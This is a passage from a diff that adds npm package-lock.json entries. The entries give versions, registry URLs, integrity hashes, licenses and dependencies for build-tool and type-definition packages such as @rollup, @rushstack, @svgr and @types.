"webpack-hot-middleware": { + "optional": true + }, + "webpack-plugin-serve": { + "optional": true + } + } + }, + "node_modules/@pmmmwh/react-refresh-webpack-plugin/node_modules/source-map": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@rollup/plugin-babel": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz", + "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.10.4", + "@rollup/pluginutils": "^3.1.0" + }, + "engines": { + "node": ">= 10.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "@types/babel__core": "^7.1.9", + "rollup": "^1.20.0||^2.0.0" + }, + "peerDependenciesMeta": { + "@types/babel__core": { + "optional": true + } + } + }, + "node_modules/@rollup/plugin-node-resolve": { + "version": "11.2.1", + "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz", + "integrity": "sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==", + "license": "MIT", + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "@types/resolve": "1.17.1", + "builtin-modules": "^3.1.0", + "deepmerge": "^4.2.2", + "is-module": "^1.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">= 10.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0" + } + }, + "node_modules/@rollup/plugin-node-resolve/node_modules/deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@rollup/plugin-replace": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz", + "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==", + "license": "MIT", + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "magic-string": "^0.25.7" + }, + "peerDependencies": { + "rollup": "^1.20.0 || ^2.0.0" + } + }, + "node_modules/@rollup/pluginutils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz", + "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==", + "license": "MIT", + "dependencies": { + "@types/estree": "0.0.39", + "estree-walker": "^1.0.1", + "picomatch": "^2.2.2" + }, + "engines": { + "node": ">= 8.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0" + } + }, + "node_modules/@rollup/pluginutils/node_modules/@types/estree": { + "version": "0.0.39", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz", + "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==", + "license": "MIT" + }, + "node_modules/@rushstack/eslint-patch": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.1.4.tgz", + "integrity": "sha512-LwzQKA4vzIct1zNZzBmRKI9QuNpLgTQMEjsQLf3BXuGYb3QPTP4Yjf6mkdX+X1mYttZ808QpOwAzZjv28kq7DA==", + "license": "MIT" + }, + "node_modules/@rushstack/node-core-library": { + "version": "5.10.0", + "resolved": "https://registry.npmjs.org/@rushstack/node-core-library/-/node-core-library-5.10.0.tgz", + "integrity": "sha512-2pPLCuS/3x7DCd7liZkqOewGM0OzLyCacdvOe8j6Yrx9LkETGnxul1t7603bIaB8nUAooORcct9fFDOQMbWAgw==", + "license": "MIT", + "dependencies": { + "ajv": "~8.13.0", + "ajv-draft-04": "~1.0.0", + "ajv-formats": "~3.0.1", + "fs-extra": "~7.0.1", + "import-lazy": "~4.0.0", + "jju": "~1.4.0", + "resolve": "~1.22.1", + "semver": "~7.5.4" + }, + "peerDependencies": { + "@types/node": "*" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@rushstack/node-core-library/node_modules/ajv": { + "version": "8.13.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.13.0.tgz", + "integrity": "sha512-PRA911Blj99jR5RMeTunVbNXMF6Lp4vZXnk5GQjcnUWUTsrXtekg/pnmFFI2u/I36Y/2bITGS30GZCXei6uNkA==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.4.1" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/@rushstack/node-core-library/node_modules/ajv-formats": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", + "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==", + "license": "MIT", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/@rushstack/node-core-library/node_modules/fs-extra": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz", + "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==", + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.1.2", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/@rushstack/node-core-library/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/@rushstack/node-core-library/node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "license": "MIT", + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/@rushstack/node-core-library/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@rushstack/node-core-library/node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "license": "MIT", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/@rushstack/rig-package": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/@rushstack/rig-package/-/rig-package-0.5.3.tgz", + "integrity": "sha512-olzSSjYrvCNxUFZowevC3uz8gvKr3WTpHQ7BkpjtRpA3wK+T0ybep/SRUMfr195gBzJm5gaXw0ZMgjIyHqJUow==", + "license": "MIT", + "dependencies": { + "resolve": "~1.22.1", + "strip-json-comments": "~3.1.1" + } + }, + "node_modules/@rushstack/terminal": { + "version": "0.14.3", + "resolved": "https://registry.npmjs.org/@rushstack/terminal/-/terminal-0.14.3.tgz", + "integrity": "sha512-csXbZsAdab/v8DbU1sz7WC2aNaKArcdS/FPmXMOXEj/JBBZMvDK0+1b4Qao0kkG0ciB1Qe86/Mb68GjH6/TnMw==", + "license": "MIT", + "dependencies": { + "@rushstack/node-core-library": "5.10.0", + "supports-color": "~8.1.1" + }, + "peerDependencies": { + "@types/node": "*" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@rushstack/terminal/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@rushstack/terminal/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/@rushstack/ts-command-line": { + "version": "4.23.1", + "resolved": "https://registry.npmjs.org/@rushstack/ts-command-line/-/ts-command-line-4.23.1.tgz", + "integrity": "sha512-40jTmYoiu/xlIpkkRsVfENtBq4CW3R4azbL0Vmda+fMwHWqss6wwf/Cy/UJmMqIzpfYc2OTnjYP1ZLD3CmyeCA==", + "license": "MIT", + "dependencies": { + "@rushstack/terminal": "0.14.3", + "@types/argparse": "1.0.38", + "argparse": "~1.0.9", + "string-argv": "~0.3.1" + } + }, + "node_modules/@rushstack/ts-command-line/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "license": "MIT", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/@sideway/address": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/@sideway/address/-/address-4.1.4.tgz", + "integrity": "sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@sideway/formula": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@sideway/formula/-/formula-3.0.0.tgz", + "integrity": "sha512-vHe7wZ4NOXVfkoRb8T5otiENVlT7a3IAiw7H5M2+GO+9CDgcVUUsX1zalAztCmwyOr2RUTGJdgB+ZvSVqmdHmg==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/@sideway/pinpoint": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sideway/pinpoint/-/pinpoint-2.0.0.tgz", + "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/@sinclair/typebox": { + "version": "0.23.5", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.23.5.tgz", + "integrity": "sha512-AFBVi/iT4g20DHoujvMH1aEDn8fGJh4xsRGCP6d8RpLPMqsNPvW01Jcn0QysXTsg++/xj25NmJsGyH9xug/wKg==", + "license": "MIT" + }, + "node_modules/@sinonjs/commons": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz", + "integrity": "sha512-xkNcLAn/wZaX14RPlwizcKicDk9G3F8m2nU3L7Ukm5zBgTwiT0wsoFAHx9Jq56fJA1z/7uKGtCRu16sOUCLIHQ==", + "license": "BSD-3-Clause", + "dependencies": { + "type-detect": "4.0.8" + } + }, + "node_modules/@sinonjs/fake-timers": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz", + "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==", + "license": "BSD-3-Clause", + "dependencies": { + "@sinonjs/commons": "^1.7.0" + } + }, + "node_modules/@surma/rollup-plugin-off-main-thread": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz", + "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==", + "license": "Apache-2.0", + "dependencies": { + "ejs": "^3.1.6", + "json5": "^2.2.0", + "magic-string": "^0.25.0", + "string.prototype.matchall": "^4.0.6" + } + }, + "node_modules/@svgr/babel-plugin-add-jsx-attribute": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz", + "integrity": "sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-attribute": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz", + "integrity": "sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-empty-expression": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz", + "integrity": "sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-replace-jsx-attribute-value": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz", + "integrity": "sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-svg-dynamic-title": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz", + "integrity": "sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-svg-em-dimensions": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz", + "integrity": "sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-transform-react-native-svg": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz", + "integrity": "sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-transform-svg-component": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz", + "integrity": "sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-preset": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-5.5.0.tgz", + "integrity": "sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==", + "license": "MIT", + "dependencies": { + "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0", + "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0", + "@svgr/babel-plugin-remove-jsx-empty-expression": "^5.0.1", + "@svgr/babel-plugin-replace-jsx-attribute-value": "^5.0.1", + "@svgr/babel-plugin-svg-dynamic-title": "^5.4.0", + "@svgr/babel-plugin-svg-em-dimensions": "^5.4.0", + "@svgr/babel-plugin-transform-react-native-svg": "^5.4.0", + "@svgr/babel-plugin-transform-svg-component": "^5.5.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/core": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/core/-/core-5.5.0.tgz", + "integrity": "sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==", + "license": "MIT", + "dependencies": { + "@svgr/plugin-jsx": "^5.5.0", + "camelcase": "^6.2.0", + "cosmiconfig": "^7.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/hast-util-to-babel-ast": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz", + "integrity": "sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.12.6" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/plugin-jsx": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz", + "integrity": "sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.12.3", + "@svgr/babel-preset": "^5.5.0", + "@svgr/hast-util-to-babel-ast": "^5.5.0", + "svg-parser": "^2.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/plugin-svgo": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz", + "integrity": "sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==", + "license": "MIT", + "dependencies": { + "cosmiconfig": "^7.0.0", + "deepmerge": "^4.2.2", + "svgo": "^1.2.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/plugin-svgo/node_modules/deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@svgr/webpack": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-5.5.0.tgz", + "integrity": "sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/plugin-transform-react-constant-elements": "^7.12.1", + "@babel/preset-env": "^7.12.1", + "@babel/preset-react": "^7.12.5", + "@svgr/core": "^5.5.0", + "@svgr/plugin-jsx": "^5.5.0", + "@svgr/plugin-svgo": "^5.5.0", + "loader-utils": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@tootallnate/once": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", + "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/@trysound/sax": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", + "license": "ISC", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/@types/argparse": { + "version": "1.0.38", + "resolved": "https://registry.npmjs.org/@types/argparse/-/argparse-1.0.38.tgz", + "integrity": "sha512-ebDJ9b0e702Yr7pWgB0jzm+CX4Srzz8RcXtLJDJB+BSccqMa36uyH/zUsSYao5+BD1ytv3k3rPYCq4mAE1hsXA==", + "license": "MIT" + }, + "node_modules/@types/babel__core": { + "version": "7.1.19", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.19.tgz", + "integrity": "sha512-WEOTgRsbYkvA/KCsDwVEGkd7WAr1e3g31VHQ8zy5gul/V1qKullU/BU5I68X5v7V3GnB9eotmom4v5a5gjxorw==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.6.4", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.4.tgz", + "integrity": "sha512-tFkciB9j2K755yrTALxD44McOrk+gfpIpvC3sxHjRawj6PfnQxrse4Clq5y/Rq+G3mrBurMax/lG8Qn2t9mSsg==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.1.tgz", + "integrity": "sha512-azBFKemX6kMg5Io+/rdGT0dkGreboUVR0Cdm3fz9QJWpaQGJRQXl7C+6hOTCZcMll7KFyEQpgbYI2lHdsS4U7g==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.17.1", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.17.1.tgz", + "integrity": "sha512-kVzjari1s2YVi77D3w1yuvohV2idweYXMCDzqBiVNN63TcDWrIlTVOYpqVrvbbyOE/IyzBoTKF0fdnLPEORFxA==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.3.0" + } + }, + "node_modules/@types/body-parser": { + "version": "1.19.2", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.2.tgz", + "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==", + "license": "MIT", + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/bonjour": { + "version": "3.5.10", + "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.10.tgz", + "integrity": "sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect": { + "version": "3.4.35", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz", + "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect-history-api-fallback": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.3.5.tgz", + "integrity": "sha512-h8QJa8xSb1WD4fpKBDcATDNGXghFj6/3GRWG6dhmRcu0RX1Ubasur2Uvx5aeEwlf0MwblEC2bMzzMQntxnw/Cw==", + "license": "MIT", + "dependencies": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "node_modules/@types/eslint": { + "version": "8.4.5", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.4.5.tgz", + "integrity": "sha512-dhsC09y1gpJWnK+Ff4SGvCuSnk9DaU0BJZSzOwa6GVSg65XtTugLBITDAAzRU5duGBoXBHpdR/9jHGxJjNflJQ==", + "license": "MIT", + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz", + "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==", + "license": "MIT" + }, + "node_modules/@types/express": { + "version": "4.17.13", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.13.tgz", + "integrity": "sha512-6bSZTPaTIACxn48l50SR+axgrqm6qXFIxrdAKaG6PaJk3+zuUr35hBlgT7vOmJcum+OEaIBLtHV/qloEAFITeA==", + "license": "MIT", + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.18", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "4.17.29", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.29.tgz", + "integrity": "sha512-uMd++6dMKS32EOuw1Uli3e3BPgdLIXmezcfHv7N4c1s3gkhikBplORPpMq3fuWkxncZN1reb16d5n8yhQ80x7Q==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*" + } + }, + "node_modules/@types/graceful-fs": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.5.tgz", + 